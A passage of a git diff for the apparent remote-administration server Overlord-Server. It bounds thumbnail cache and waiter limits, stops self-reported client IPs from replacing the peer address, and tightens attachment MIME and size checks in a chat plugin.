+ const stats = getThumbnailStats();
+ expect(stats.cachedCount).toBe(stats.cacheMax);
+ expect(stats.cachedBytes).toBe(stats.cachedCount);
+ expect(stats.cachedBytes).toBeLessThanOrEqual(stats.cacheMaxBytes);
+ } finally {
+ (Bun as any).Image = originalImage;
+ for (const id of ids) clearThumbnail(id);
+ }
+ expect(getThumbnailStats().cachedBytes).toBe(0);
+ });
+
+ test("request markers have a hard fleet identity cap", () => {
+ const prefix = `request-${crypto.randomUUID()}`;
+ const ids: string[] = [];
+ try {
+ for (let index = 0; index < MAX_THUMBNAIL_REQUEST_IDS; index += 1) {
+ const id = `${prefix}-${index}`;
+ ids.push(id);
+ expect(markThumbnailRequested(id)).toBe(true);
+ }
+ expect(markThumbnailRequested(`${prefix}-rejected`)).toBe(false);
+ expect(getThumbnailStats().requestIdsTracked).toBe(MAX_THUMBNAIL_REQUEST_IDS);
+ } finally {
+ for (const id of ids) clearThumbnailRequest(id);
+ }
+ });
+
+ test("waiter identities are bounded and released after notification", async () => {
+ const prefix = `waiter-${crypto.randomUUID()}`;
+ const ids = Array.from(
+ { length: MAX_THUMBNAIL_WAITER_IDS },
+ (_, index) => `${prefix}-${index}`,
+ );
+ const waiters = ids.map((id) => waitForThumbnail(id, 10_000));
+ expect(getThumbnailStats().waiterIdsTracked).toBe(MAX_THUMBNAIL_WAITER_IDS);
+ expect(await waitForThumbnail(`${prefix}-rejected`, 10_000)).toBe(false);
+
+ for (const id of ids) notifyThumbnailGenerated(id);
+ expect((await Promise.all(waiters)).every(Boolean)).toBe(true);
+ const stats = getThumbnailStats();
+ expect(stats.waiterIdsTracked).toBe(0);
+ expect(stats.waitersTracked).toBe(0);
+ });
+});
diff --git a/Overlord-Server/src/thumbnails.ts b/Overlord-Server/src/thumbnails.ts
index a000c1d..d6585a1 100644
--- a/Overlord-Server/src/thumbnails.ts
+++ b/Overlord-Server/src/thumbnails.ts
@@ -1,39 +1,118 @@
-const THUMBNAIL_WIDTH = Math.max(64, Number(process.env.OVERLORD_THUMBNAIL_WIDTH || 1920));
-const THUMBNAIL_HEIGHT = Math.max(48, Number(process.env.OVERLORD_THUMBNAIL_HEIGHT || 1080));
-const THUMBNAIL_QUALITY = Math.min(95, Math.max(40, Number(process.env.OVERLORD_THUMBNAIL_QUALITY || 88)));
-const MAX_THUMBNAIL_SOURCE_BYTES = Math.max(
- 256 * 1024,
- Number(process.env.OVERLORD_THUMBNAIL_MAX_SOURCE_BYTES || 16 * 1024 * 1024),
-);
-const THUMBNAIL_CACHE_MAX = Math.max(
- 64,
- Number(process.env.OVERLORD_THUMBNAIL_CACHE_MAX || 2000),
-);
-const MAX_CONCURRENT_THUMBNAIL_GEN = Math.max(
- 1,
- Number(process.env.OVERLORD_THUMBNAIL_CONCURRENCY || 4),
-);
-let _activeThumbnailGen = 0;
-const _thumbnailGenQueue: Array<() => void> = [];
-
-function withThumbnailSlot(fn: () => Promise): Promise {
- return new Promise((resolve, reject) => {
- const run = () => {
- _activeThumbnailGen++;
- fn().then(resolve, reject).finally(() => {
- _activeThumbnailGen--;
- const next = _thumbnailGenQueue.shift();
- if (next) next();
- });
- };
- if (_activeThumbnailGen < MAX_CONCURRENT_THUMBNAIL_GEN) {
- run();
- } else {
- _thumbnailGenQueue.push(run);
- }
- });
+function boundedIntegerEnv(name: string, fallback: number, minimum: number, maximum: number): number {
+ const parsed = Number(process.env[name]);
+ if (!Number.isSafeInteger(parsed)) return fallback;
+ return Math.min(maximum, Math.max(minimum, parsed));
}
+const THUMBNAIL_WIDTH = boundedIntegerEnv("OVERLORD_THUMBNAIL_WIDTH", 1920, 64, 8192);
+const THUMBNAIL_HEIGHT = boundedIntegerEnv("OVERLORD_THUMBNAIL_HEIGHT", 1080, 48, 8192);
+const THUMBNAIL_QUALITY = boundedIntegerEnv("OVERLORD_THUMBNAIL_QUALITY", 88, 40, 95);
+export const MAX_THUMBNAIL_SOURCE_BYTES = boundedIntegerEnv(
+ "OVERLORD_THUMBNAIL_MAX_SOURCE_BYTES",
+ 64 * 1024 * 1024,
+ 256 * 1024,
+ 64 * 1024 * 1024,
+);
+const THUMBNAIL_CACHE_MAX = boundedIntegerEnv(
+ "OVERLORD_THUMBNAIL_CACHE_MAX",
+ 2000,
+ 64,
+ 10_000,
+);
+const THUMBNAIL_CACHE_MAX_BYTES = boundedIntegerEnv(
+ "OVERLORD_THUMBNAIL_CACHE_MAX_BYTES",
+ 1024 * 1024 * 1024,
+ 16 * 1024 * 1024,
+ 4 * 1024 * 1024 * 1024,
+);
+const MAX_CONCURRENT_THUMBNAIL_GEN = boundedIntegerEnv(
+ "OVERLORD_THUMBNAIL_CONCURRENCY",
+ 4,
+ 1,
+ 32,
+);
+export const MAX_PENDING_THUMBNAIL_FRAMES = boundedIntegerEnv(
+ "OVERLORD_THUMBNAIL_PENDING_MAX_COUNT",
+ 512,
+ 1,
+ 4096,
+);
+export const MAX_PENDING_THUMBNAIL_BYTES = boundedIntegerEnv(
+ "OVERLORD_THUMBNAIL_PENDING_MAX_BYTES",
+ 512 * 1024 * 1024,
+ 1024 * 1024,
+ 1024 * 1024 * 1024,
+);
+export const MAX_QUEUED_THUMBNAIL_GEN = boundedIntegerEnv(
+ "OVERLORD_THUMBNAIL_QUEUE_MAX",
+ 512,
+ 0,
+ 4096,
+);
+export const MAX_THUMBNAIL_REQUEST_IDS = boundedIntegerEnv(
+ "OVERLORD_THUMBNAIL_REQUEST_MAX",
+ 4096,
+ 16,
+ 4096,
+);
+export const MAX_THUMBNAIL_WAITER_IDS = boundedIntegerEnv(
+ "OVERLORD_THUMBNAIL_WAITER_ID_MAX",
+ 4096,
+ 16,
+ 4096,
+);
+export const MAX_THUMBNAIL_WAITERS = boundedIntegerEnv(
+ "OVERLORD_THUMBNAIL_WAITER_MAX",
+ 8192,
+ 16,
+ 8192,
+);
+const MAX_THUMBNAIL_WAITERS_PER_ID = 16;
+const THUMBNAIL_REQUEST_RETENTION_MS = 30_000;
+const MAX_THUMBNAIL_WAITER_TIMEOUT_MS = 10_000;
+
+export type ThumbnailScheduleResult =
+ | { accepted: true; value: T }
+ | { accepted: false };
+
+export function createBoundedThumbnailScheduler(maxConcurrent: number, maxQueued: number) {
+ let active = 0;
+ const queue: Array<() => void> = [];
+
+ return {
+ run(fn: () => Promise): Promise> {
+ return new Promise>((resolve, reject) => {
+ const execute = () => {
+ active += 1;
+ fn().then(
+ (value) => resolve({ accepted: true, value }),
+ reject,
+ ).finally(() => {
+ active -= 1;
+ const next = queue.shift();
+ if (next) next();
+ });
+ };
+ if (active < maxConcurrent) {
+ execute();
+ } else if (queue.length < maxQueued) {
+ queue.push(execute);
+ } else {
+ resolve({ accepted: false });
+ }
+ });
+ },
+ getStats(): { active: number; queued: number } {
+ return { active, queued: queue.length };
+ },
+ };
+}
+
+const thumbnailScheduler = createBoundedThumbnailScheduler(
+ MAX_CONCURRENT_THUMBNAIL_GEN,
+ MAX_QUEUED_THUMBNAIL_GEN,
+);
+
type ThumbnailRecord = {
bytes: Uint8Array;
contentType: string;
@@ -44,7 +123,9 @@ type ThumbnailRecord = {
const thumbnails = new Map();
const latestFrames = new Map();
const thumbnailRequests = new Map();
-const thumbnailVersionHWM = new Map();
+let cachedThumbnailBytes = 0;
+let latestFrameBytes = 0;
+let thumbnailVersionSequence = Date.now();
type BunImageConstructor = new (
bytes: Uint8Array,
@@ -73,11 +154,50 @@ function touchThumbnailLRU(id: string) {
thumbnails.set(id, existing);
}
+function deleteCachedThumbnail(id: string): boolean {
+ const existing = thumbnails.get(id);
+ if (!existing) return false;
+ thumbnails.delete(id);
+ cachedThumbnailBytes = Math.max(0, cachedThumbnailBytes - existing.bytes.byteLength);
+ return true;
+}
+
function evictThumbnailsIfFull() {
- while (thumbnails.size > THUMBNAIL_CACHE_MAX) {
+ while (
+ thumbnails.size > THUMBNAIL_CACHE_MAX
+ || cachedThumbnailBytes > THUMBNAIL_CACHE_MAX_BYTES
+ ) {
const oldestKey = thumbnails.keys().next().value;
if (oldestKey === undefined) break;
- thumbnails.delete(oldestKey);
+ deleteCachedThumbnail(oldestKey);
+ }
+}
+
+function deleteLatestFrame(
+ id: string,
+ expected?: { bytes: Uint8Array; format: string; capturedAt: number },
+): boolean {
+ const existing = latestFrames.get(id);
+ if (!existing || (expected && existing !== expected)) return false;
+ latestFrames.delete(id);
+ latestFrameBytes = Math.max(0, latestFrameBytes - existing.bytes.byteLength);
+ return true;
+}
+
+function nextThumbnailVersion(prior?: ThumbnailRecord): number {
+ thumbnailVersionSequence = Math.max(
+ thumbnailVersionSequence + 1,
+ Date.now(),
+ (prior?.version || 0) + 1,
+ );
+ return thumbnailVersionSequence;
+}
+
+function pruneThumbnailRequests(now: number) {
+ for (const [id, timestamp] of thumbnailRequests) {
+ if (now - timestamp > THUMBNAIL_REQUEST_RETENTION_MS) {
+ thumbnailRequests.delete(id);
+ }
}
}
@@ -114,17 +234,42 @@ export function getThumbnailSummaries(ids: readonly string[]): Map MAX_THUMBNAIL_SOURCE_BYTES) {
- latestFrames.delete(id);
- return;
+export function setLatestFrame(id: string, bytes: Uint8Array, format: string): boolean {
+ const rawFormat = typeof format === "string" && format.length <= 4
+ ? format.toLowerCase()
+ : "";
+ const normalizedFormat = rawFormat === "jpg" ? "jpeg" : rawFormat;
+ if (
+ !bytes
+ || bytes.byteLength === 0
+ || bytes.byteLength > MAX_THUMBNAIL_SOURCE_BYTES
+ || (normalizedFormat !== "jpeg" && normalizedFormat !== "webp")
+ ) {
+ deleteLatestFrame(id);
+ return false;
}
- latestFrames.set(id, { bytes, format, capturedAt: Date.now() });
+ const existing = latestFrames.get(id);
+ const nextCount = latestFrames.size + (existing ? 0 : 1);
+ const nextBytes = latestFrameBytes - (existing?.bytes.byteLength || 0) + bytes.byteLength;
+ if (
+ nextCount > MAX_PENDING_THUMBNAIL_FRAMES
+ || nextBytes > MAX_PENDING_THUMBNAIL_BYTES
+ ) {
+ return false;
+ }
+
+ // Store an exact-size copy. A small view can otherwise retain an arbitrarily
+ // large WebSocket/message backing buffer until image generation completes.
+ const retainedBytes = Uint8Array.from(bytes);
+ if (existing) latestFrames.delete(id);
+ latestFrames.set(id, { bytes: retainedBytes, format: normalizedFormat, capturedAt: Date.now() });
+ latestFrameBytes = nextBytes;
+ return true;
}
async function buildThumbnailBytes(bytes: Uint8Array, format: string): Promise {
@@ -164,37 +309,38 @@ export async function generateThumbnail(id: string): Promise {
try {
const out = await buildThumbnailBytes(frameData.bytes, frameData.format);
- if (!out) {
+ if (!out || out.byteLength > THUMBNAIL_CACHE_MAX_BYTES) {
return false;
}
const prior = thumbnails.get(id);
const now = Date.now();
- const hwm = thumbnailVersionHWM.get(id) ?? (prior?.version ?? 0);
- const newVersion = hwm + 1;
- thumbnailVersionHWM.set(id, newVersion);
- if (prior) thumbnails.delete(id);
+ const newVersion = nextThumbnailVersion(prior);
+ if (prior) deleteCachedThumbnail(id);
thumbnails.set(id, {
bytes: out,
contentType: "image/webp",
version: newVersion,
updatedAt: now,
});
+ cachedThumbnailBytes += out.byteLength;
evictThumbnailsIfFull();
- if (latestFrames.get(id) === frameData) {
- latestFrames.delete(id);
- }
return true;
} catch (err) {
if (getBunImage()) {
console.error(`[thumbnails] Failed to generate thumbnail for client ${id}:`, err);
}
return false;
+ } finally {
+ // Invalid/unsupported sources must not occupy the pending-frame budget
+ // indefinitely. Preserve a newer frame that arrived during generation.
+ deleteLatestFrame(id, frameData);
}
}
const thumbnailGenState = new Map();
export async function requestThumbnailRegen(id: string): Promise {
+ if (!latestFrames.has(id)) return false;
let state = thumbnailGenState.get(id);
if (!state) {
state = { inFlight: false, pending: false };
@@ -207,7 +353,7 @@ export async function requestThumbnailRegen(id: string): Promise {
state.inFlight = true;
let didGenerate = false;
try {
- await withThumbnailSlot(async () => {
+ const scheduled = await thumbnailScheduler.run(async () => {
while (true) {
state!.pending = false;
const ok = await generateThumbnail(id);
@@ -215,6 +361,10 @@ export async function requestThumbnailRegen(id: string): Promise {
if (!state!.pending) break;
}
});
+ if (!scheduled.accepted) {
+ deleteLatestFrame(id);
+ return false;
+ }
} finally {
state.inFlight = false;
if (thumbnailGenState.get(id) === state && !state.pending) {
@@ -224,8 +374,15 @@ export async function requestThumbnailRegen(id: string): Promise {
return didGenerate;
}
-export function markThumbnailRequested(id: string) {
- thumbnailRequests.set(id, Date.now());
+export function markThumbnailRequested(id: string): boolean {
+ const now = Date.now();
+ pruneThumbnailRequests(now);
+ if (!thumbnailRequests.has(id) && thumbnailRequests.size >= MAX_THUMBNAIL_REQUEST_IDS) {
+ return false;
+ }
+ thumbnailRequests.delete(id);
+ thumbnailRequests.set(id, now);
+ return true;
}
export function isThumbnailRequested(id: string, windowMs = 5000): boolean {
@@ -246,21 +403,43 @@ export function getThumbnailStats(): {
cachedCount: number;
cachedBytes: number;
pendingFrames: number;
+ pendingFrameBytes: number;
genActive: number;
genQueued: number;
genStateTracked: number;
+ requestIdsTracked: number;
+ waiterIdsTracked: number;
+ waitersTracked: number;
cacheMax: number;
+ cacheMaxBytes: number;
+ pendingFrameMax: number;
+ pendingFrameMaxBytes: number;
+ genQueueMax: number;
+ requestIdMax: number;
+ waiterIdMax: number;
+ waiterMax: number;
} {
- let cachedBytes = 0;
- for (const rec of thumbnails.values()) cachedBytes += rec.bytes.byteLength;
+ pruneThumbnailRequests(Date.now());
+ const schedulerStats = thumbnailScheduler.getStats();
return {
cachedCount: thumbnails.size,
- cachedBytes,
+ cachedBytes: cachedThumbnailBytes,
pendingFrames: latestFrames.size,
- genActive: _activeThumbnailGen,
- genQueued: _thumbnailGenQueue.length,
+ pendingFrameBytes: latestFrameBytes,
+ genActive: schedulerStats.active,
+ genQueued: schedulerStats.queued,
genStateTracked: thumbnailGenState.size,
+ requestIdsTracked: thumbnailRequests.size,
+ waiterIdsTracked: thumbnailWaiters.size,
+ waitersTracked: thumbnailWaiterCount,
cacheMax: THUMBNAIL_CACHE_MAX,
+ cacheMaxBytes: THUMBNAIL_CACHE_MAX_BYTES,
+ pendingFrameMax: MAX_PENDING_THUMBNAIL_FRAMES,
+ pendingFrameMaxBytes: MAX_PENDING_THUMBNAIL_BYTES,
+ genQueueMax: MAX_QUEUED_THUMBNAIL_GEN,
+ requestIdMax: MAX_THUMBNAIL_REQUEST_IDS,
+ waiterIdMax: MAX_THUMBNAIL_WAITER_IDS,
+ waiterMax: MAX_THUMBNAIL_WAITERS,
};
}
@@ -276,17 +455,28 @@ export function consumeThumbnailRequest(id: string, windowMs = 5000): boolean {
}
const thumbnailWaiters = new Map void>>();
+let thumbnailWaiterCount = 0;
export function notifyThumbnailGenerated(id: string) {
const waiters = thumbnailWaiters.get(id);
if (!waiters) return;
thumbnailWaiters.delete(id);
+ thumbnailWaiterCount = Math.max(0, thumbnailWaiterCount - waiters.size);
for (const cb of waiters) {
try { cb(); } catch {}
}
}
export function waitForThumbnail(id: string, timeoutMs = 2500): Promise {
+ const existingSet = thumbnailWaiters.get(id);
+ if (
+ (!existingSet && thumbnailWaiters.size >= MAX_THUMBNAIL_WAITER_IDS)
+ || thumbnailWaiterCount >= MAX_THUMBNAIL_WAITERS
+ || (existingSet?.size || 0) >= MAX_THUMBNAIL_WAITERS_PER_ID
+ ) {
+ return Promise.resolve(false);
+ }
+
return new Promise((resolve) => {
let settled = false;
let callback: () => void;
@@ -296,18 +486,24 @@ export function waitForThumbnail(id: string, timeoutMs = 2500): Promise
clearTimeout(timer);
const set = thumbnailWaiters.get(id);
if (set) {
- set.delete(callback);
+ if (set.delete(callback)) {
+ thumbnailWaiterCount = Math.max(0, thumbnailWaiterCount - 1);
+ }
if (set.size === 0) thumbnailWaiters.delete(id);
}
resolve(fresh);
};
callback = () => finish(true);
- const timer = setTimeout(() => finish(false), timeoutMs);
+ const boundedTimeoutMs = Number.isFinite(timeoutMs)
+ ? Math.min(MAX_THUMBNAIL_WAITER_TIMEOUT_MS, Math.max(1, Math.floor(timeoutMs)))
+ : 2500;
+ const timer = setTimeout(() => finish(false), boundedTimeoutMs);
let set = thumbnailWaiters.get(id);
if (!set) {
set = new Set();
thumbnailWaiters.set(id, set);
}
set.add(callback);
+ thumbnailWaiterCount += 1;
});
}
diff --git a/Overlord-Server/src/types.ts b/Overlord-Server/src/types.ts
index 127cb31..0fa5371 100644
--- a/Overlord-Server/src/types.ts
+++ b/Overlord-Server/src/types.ts
@@ -20,6 +20,7 @@ export type ClientInfo = {
online?: boolean;
hwid?: string;
ip?: string;
+ reportedPublicIp?: string;
host?: string;
os?: string;
arch?: string;
diff --git a/Overlord-Server/src/users.ts b/Overlord-Server/src/users.ts
index d9ba36d..9d6b036 100644
--- a/Overlord-Server/src/users.ts
+++ b/Overlord-Server/src/users.ts
@@ -87,7 +87,7 @@ if (userCount.count === 0) {
const mustChangePassword = config.auth.passwordIsUserSupplied ? 0 : 1;
logger.info("[users] No users found, creating default admin account");
- const defaultPassword = await Bun.password.hash(initialPassword, {
+ const defaultPassword = Bun.password.hashSync(initialPassword, {
algorithm: "bcrypt",
cost: 10,
});
@@ -1671,5 +1671,3 @@ export function getTotalUserCount(): number {
const row = db.prepare("SELECT COUNT(*) as count FROM users").get() as { count: number };
return row.count;
}
-
-
diff --git a/Overlord-Server/src/web-push.d.ts b/Overlord-Server/src/web-push.d.ts
index 64dffbe..6029692 100644
--- a/Overlord-Server/src/web-push.d.ts
+++ b/Overlord-Server/src/web-push.d.ts
@@ -10,8 +10,19 @@ declare module "web-push" {
interface RequestOptions {
TTL?: number;
}
+ interface RequestDetails {
+ endpoint: string;
+ method: string;
+ headers: Record;
+ body: Buffer | null;
+ }
function generateVAPIDKeys(): VapidKeys;
function setVapidDetails(subject: string, publicKey: string, privateKey: string): void;
+ function generateRequestDetails(
+ subscription: PushSubscription,
+ payload: string | Buffer | null,
+ options?: RequestOptions,
+ ): RequestDetails;
function sendNotification(subscription: PushSubscription, payload: string | Buffer | null, options?: RequestOptions): Promise;
- export { generateVAPIDKeys, setVapidDetails, sendNotification };
+ export { generateRequestDetails, generateVAPIDKeys, setVapidDetails, sendNotification };
}
diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts
index 27322f8..f3b7bc3 100644
--- a/Overlord-Server/src/wsHandlers.ts
+++ b/Overlord-Server/src/wsHandlers.ts
@@ -1,5 +1,6 @@
import { encodeMessage, type Hello, type Ping, type WireMessage } from "./protocol";
import { sanitizeCommandVersionRanges } from "./command-compatibility";
+import { isIP } from "node:net";
let _geoip: typeof import("geoip-lite");
async function getGeoip() {
@@ -78,8 +79,10 @@ export async function handleHello(
info.ip = ip;
}
const reportedPublicIP = sanitizeInfoString((payload as any).publicIP, 64);
- if (reportedPublicIP && /^[0-9a-fA-F:.]{3,45}$/.test(reportedPublicIP)) {
- info.ip = reportedPublicIP;
+ if (reportedPublicIP && isIP(reportedPublicIP) !== 0) {
+ // Self-reported metadata is useful diagnostically, but must never replace
+ // the peer address used for bans, rate limits, auditing, or geolocation.
+ info.reportedPublicIp = reportedPublicIP;
}
info.hwid = sanitizeInfoString((payload as any).hwid);
info.host = sanitizeInfoString(payload.host);
@@ -272,11 +275,13 @@ export function handleScreenshotThumbnailResult(info: ClientInfo, payload: any):
const format = rawFormat === "jpg" ? "jpeg" : rawFormat;
if (format !== "jpeg" && format !== "webp") return false;
- setLatestFrame(info.id, bytes, format);
- void requestThumbnailRegen(info.id).then((ok) => {
- if (ok) notifyThumbnailGenerated(info.id);
- });
- return true;
+ const admitted = setLatestFrame(info.id, bytes, format);
+ if (admitted) {
+ void requestThumbnailRegen(info.id).then((ok) => {
+ if (ok) notifyThumbnailGenerated(info.id);
+ });
+ }
+ return admitted;
}
export function shouldRelayFrameToViewers(payload: unknown): boolean {
@@ -327,10 +332,11 @@ export function handleFrame(info: ClientInfo, payload: unknown, relayToViewers =
const now = Date.now();
const thumbnailRequested = isThumbnailRequested(info.id);
if (thumbnailRequested || !hasThumbnail(info.id)) {
- setLatestFrame(info.id, bytes, safeFormat);
- void requestThumbnailRegen(info.id).then((ok) => {
- if (ok) notifyThumbnailGenerated(info.id);
- });
+ if (setLatestFrame(info.id, bytes, safeFormat)) {
+ void requestThumbnailRegen(info.id).then((ok) => {
+ if (ok) notifyThumbnailGenerated(info.id);
+ });
+ }
}
info.lastSeen = now;
info.online = true;
diff --git a/Overlord-Server/test/e2e/global-setup.ts b/Overlord-Server/test/e2e/global-setup.ts
index 0e49574..9660cb6 100644
--- a/Overlord-Server/test/e2e/global-setup.ts
+++ b/Overlord-Server/test/e2e/global-setup.ts
@@ -117,6 +117,7 @@ export default async function globalSetup(_config: FullConfig) {
OVERLORD_PASS: "E2ePassword!2026",
JWT_SECRET: "e2e-jwt-secret-that-is-only-used-for-browser-tests",
OVERLORD_AGENT_TOKEN: "e2e-agent-token-that-is-only-used-for-browser-tests",
+ OVERLORD_ALLOW_AGENT_TOKEN_QUERY: "true",
},
});
diff --git a/plugins/chat/chat.css b/plugins/chat/chat.css
index 2b69765..1c79a1d 100644
--- a/plugins/chat/chat.css
+++ b/plugins/chat/chat.css
@@ -254,6 +254,46 @@
cursor: zoom-in;
}
+.chat-image-preview {
+ position: fixed;
+ inset: 0;
+ z-index: 10000;
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ padding: 28px;
+ background: rgba(0, 0, 0, 0.86);
+}
+
+.chat-image-preview img {
+ max-width: 100%;
+ max-height: 100%;
+ object-fit: contain;
+ border-radius: 8px;
+ box-shadow: 0 16px 60px rgba(0, 0, 0, 0.55);
+}
+
+.chat-image-preview-close {
+ position: fixed;
+ top: 16px;
+ right: 20px;
+ width: 40px;
+ height: 40px;
+ border: 1px solid #455168;
+ border-radius: 999px;
+ background: #161a22;
+ color: #e8ecf1;
+ font-size: 28px;
+ line-height: 1;
+ cursor: pointer;
+}
+
+.chat-image-preview-close:hover,
+.chat-image-preview-close:focus-visible {
+ background: #262c3a;
+ outline: 2px solid #60a5fa;
+}
+
.chat-msg-file {
display: inline-flex;
align-items: center;
@@ -273,6 +313,11 @@
border-color: #3a4a60;
}
+.chat-msg-file-blocked {
+ color: #fca5a5;
+ cursor: default;
+}
+
.chat-msg-file i {
color: #8a96aa;
}
diff --git a/plugins/chat/chat.html b/plugins/chat/chat.html
index 4d086a3..a498995 100644
--- a/plugins/chat/chat.html
+++ b/plugins/chat/chat.html
@@ -59,7 +59,7 @@
diff --git a/plugins/chat/chat.js b/plugins/chat/chat.js
index 49bcf46..fd2a758 100644
--- a/plugins/chat/chat.js
+++ b/plugins/chat/chat.js
@@ -1,6 +1,12 @@
(() => {
const PLUGIN_ID = "chat";
- const MAX_ATTACHMENT_SIZE = 5 * 1024 * 1024;
+ const MAX_ATTACHMENT_SIZE = 64 * 1024 * 1024;
+ const MAX_ATTACHMENT_BASE64_SIZE = Math.ceil(MAX_ATTACHMENT_SIZE / 3) * 4;
+ const SAFE_IMAGE_MIMES = new Set([
+ "image/png",
+ "image/jpeg",
+ "image/webp",
+ ]);
const params = new URLSearchParams(window.location.search);
@@ -69,58 +75,119 @@
});
}
- async function loadAttachmentBlob(id) {
+ async function loadAttachmentBlob(id, expectedMime) {
if (attachmentUrlCache.has(id)) return attachmentUrlCache.get(id);
- const { ok, result } = await rpc("get_attachment", { id });
- if (!ok || !result?.dataB64) return null;
- const bin = atob(result.dataB64);
+ const clientId = getClientId();
+ if (!clientId) return null;
+ const { ok, result } = await rpc("get_attachment", { id, clientId });
+ if (
+ !ok ||
+ !result?.ok ||
+ (SAFE_IMAGE_MIMES.has(expectedMime) && result.mime !== expectedMime) ||
+ typeof result.dataB64 !== "string" ||
+ result.dataB64.length === 0 ||
+ result.dataB64.length > MAX_ATTACHMENT_BASE64_SIZE
+ ) return null;
+ let bin;
+ try {
+ bin = atob(result.dataB64);
+ } catch {
+ return null;
+ }
+ if (bin.length === 0 || bin.length > MAX_ATTACHMENT_SIZE) return null;
const bytes = new Uint8Array(bin.length);
for (let i = 0; i < bin.length; i++) bytes[i] = bin.charCodeAt(i);
const blob = new Blob([bytes], {
- type: result.mime || "application/octet-stream",
+ type: SAFE_IMAGE_MIMES.has(expectedMime) ? expectedMime : "application/octet-stream",
});
const url = URL.createObjectURL(blob);
+ if (attachmentUrlCache.size >= 10) {
+ const oldestId = attachmentUrlCache.keys().next().value;
+ const oldestUrl = attachmentUrlCache.get(oldestId);
+ if (oldestUrl) URL.revokeObjectURL(oldestUrl);
+ attachmentUrlCache.delete(oldestId);
+ }
attachmentUrlCache.set(id, url);
return url;
}
+ function showImagePreview(url, name) {
+ const overlay = document.createElement("div");
+ overlay.className = "chat-image-preview";
+ overlay.setAttribute("role", "dialog");
+ overlay.setAttribute("aria-modal", "true");
+ overlay.setAttribute("aria-label", `Image preview: ${name}`);
+
+ const close = document.createElement("button");
+ close.type = "button";
+ close.className = "chat-image-preview-close";
+ close.setAttribute("aria-label", "Close image preview");
+ close.textContent = "×";
+
+ const image = document.createElement("img");
+ image.src = url;
+ image.alt = name;
+
+ const remove = () => {
+ document.removeEventListener("keydown", onKeyDown);
+ overlay.remove();
+ };
+ const onKeyDown = (event) => {
+ if (event.key === "Escape") remove();
+ };
+ close.addEventListener("click", remove);
+ overlay.addEventListener("click", (event) => {
+ if (event.target === overlay) remove();
+ });
+ document.addEventListener("keydown", onKeyDown);
+
+ overlay.append(image, close);
+ document.body.appendChild(overlay);
+ close.focus();
+ }
+
function renderAttachment(att, messageId) {
const wrap = document.createElement("div");
wrap.className = "chat-msg-attachment";
- const isImage = (att.mime || "").startsWith("image/");
+ const mime = String(att?.mime || "").trim().toLowerCase();
+ const name = String(att?.name || "image").slice(0, 255);
+ const sizeValue = Number(att?.size);
+ const size = Number.isFinite(sizeValue) && sizeValue >= 0
+ ? Math.min(sizeValue, MAX_ATTACHMENT_SIZE)
+ : 0;
+ const isImage = SAFE_IMAGE_MIMES.has(mime) && size > 0 && size <= MAX_ATTACHMENT_SIZE;
if (isImage) {
- const img = document.createElement("img");
- img.className = "chat-msg-image";
- img.alt = att.name;
- img.title = `${att.name} (${humanSize(att.size)})`;
- loadAttachmentBlob(messageId).then((url) => {
- if (url) img.src = url;
+ const view = document.createElement("button");
+ view.type = "button";
+ view.className = "chat-msg-file";
+ view.textContent = `View image: ${name} (${humanSize(size)})`;
+ view.addEventListener("click", async () => {
+ view.disabled = true;
+ const url = await loadAttachmentBlob(messageId, mime);
+ if (url) showImagePreview(url, name);
+ view.disabled = false;
});
- img.addEventListener("click", async () => {
- const url = await loadAttachmentBlob(messageId);
- if (url) window.open(url, "_blank");
- });
- wrap.appendChild(img);
+ wrap.appendChild(view);
} else {
- const link = document.createElement("a");
- link.className = "chat-msg-file";
- link.href = "#";
- link.innerHTML = ` `;
- link.querySelector(".chat-msg-file-name").textContent = att.name;
- link.querySelector(".chat-msg-file-size").textContent = `(${humanSize(att.size)})`;
- link.addEventListener("click", async (e) => {
- e.preventDefault();
- const url = await loadAttachmentBlob(messageId);
- if (!url) return;
- const a = document.createElement("a");
- a.href = url;
- a.download = att.name;
- document.body.appendChild(a);
- a.click();
- a.remove();
+ const download = document.createElement("button");
+ download.type = "button";
+ download.className = "chat-msg-file";
+ download.textContent = `Download: ${name} (${humanSize(size)})`;
+ download.addEventListener("click", async () => {
+ download.disabled = true;
+ const url = await loadAttachmentBlob(messageId, mime);
+ if (url) {
+ const anchor = document.createElement("a");
+ anchor.href = url;
+ anchor.download = name;
+ document.body.appendChild(anchor);
+ anchor.click();
+ anchor.remove();
+ }
+ download.disabled = false;
});
- wrap.appendChild(link);
+ wrap.appendChild(download);
}
return wrap;
}
@@ -192,7 +259,11 @@
function connectSSE() {
if (sseStream) sseStream.close();
- sseStream = new EventSource(`/api/plugins/${PLUGIN_ID}/stream`);
+ const clientId = getClientId();
+ if (!clientId) return;
+ sseStream = new EventSource(
+ `/api/plugins/${PLUGIN_ID}/stream?clientId=${encodeURIComponent(clientId)}`,
+ );
sseStream.addEventListener("new_message", (e) => {
const data = JSON.parse(e.data);
@@ -294,18 +365,23 @@
btnAttach.disabled = true;
try {
const dataB64 = await readFileAsBase64(file);
- const mime = file.type || "application/octet-stream";
- await rpc("store_attachment", {
+ // Some platforms leave File.type blank for otherwise valid images. The
+ // server detects the real raster format and returns its canonical MIME.
+ const mime = file.type || "";
+ const stored = await rpc("store_attachment", {
clientId: cid,
sender,
name: file.name,
mime,
dataB64,
});
+ if (!stored.ok || !stored.result?.ok) {
+ throw new Error(stored.result?.error || stored.error || "Attachment rejected");
+ }
await sendPluginEvent(cid, "chat_attachment", {
from: sender,
- name: file.name,
- mime,
+ name: stored.result.name,
+ mime: stored.result.mime,
dataB64,
});
} catch (err) {
diff --git a/plugins/chat/native/plugin.cpp b/plugins/chat/native/plugin.cpp
index 4f2e2e6..cd05f57 100644
--- a/plugins/chat/native/plugin.cpp
+++ b/plugins/chat/native/plugin.cpp
@@ -43,7 +43,7 @@
#define IDC_SEND 103
#define IDC_ATTACH 104
-#define MAX_ATTACHMENT_BYTES (5 * 1024 * 1024)
+#define MAX_ATTACHMENT_BYTES (64 * 1024 * 1024)
static const char *WND_CLASS_NAME = "OverlordChatWnd";
diff --git a/plugins/chat/server.js b/plugins/chat/server.js
index ef6f241..c1ffc42 100644
--- a/plugins/chat/server.js
+++ b/plugins/chat/server.js
@@ -1,3 +1,482 @@
+export const MAX_CHAT_ATTACHMENT_SIZE = 64 * 1024 * 1024;
+
+const MAX_CHAT_ATTACHMENT_BASE64_SIZE = Math.ceil(MAX_CHAT_ATTACHMENT_SIZE / 3) * 4;
+const SAFE_RASTER_MIMES = new Set([
+ "image/png",
+ "image/jpeg",
+ "image/webp",
+]);
